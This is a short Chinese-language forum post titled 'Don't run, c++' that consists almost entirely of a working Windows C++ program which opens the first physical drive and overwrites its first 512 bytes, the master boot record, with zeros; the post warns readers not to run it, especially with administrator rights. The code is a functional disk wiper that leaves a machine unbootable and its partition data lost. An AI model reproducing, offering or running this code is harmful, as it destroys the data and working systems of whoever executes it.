别运行,c++
2025-10-24 20:23:34
发布于:浙江
#include <Windows.h>
#include <iostream>
int main() {
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "Failed to open device. Error: " << GetLastError() << std::endl;
return 1;
}
char buffer[512] = { 0 };
DWORD bytesWritten;
if (!WriteFile(hDevice, buffer, sizeof(buffer), &bytesWritten, NULL)) {
std::cout << "Write failed. Error: " << GetLastError() << std::endl;
}
CloseHandle(hDevice);
return 0;
}
更不要用管理员权限运行.exe文件!!!
这里空空如也







有帮助,赞一个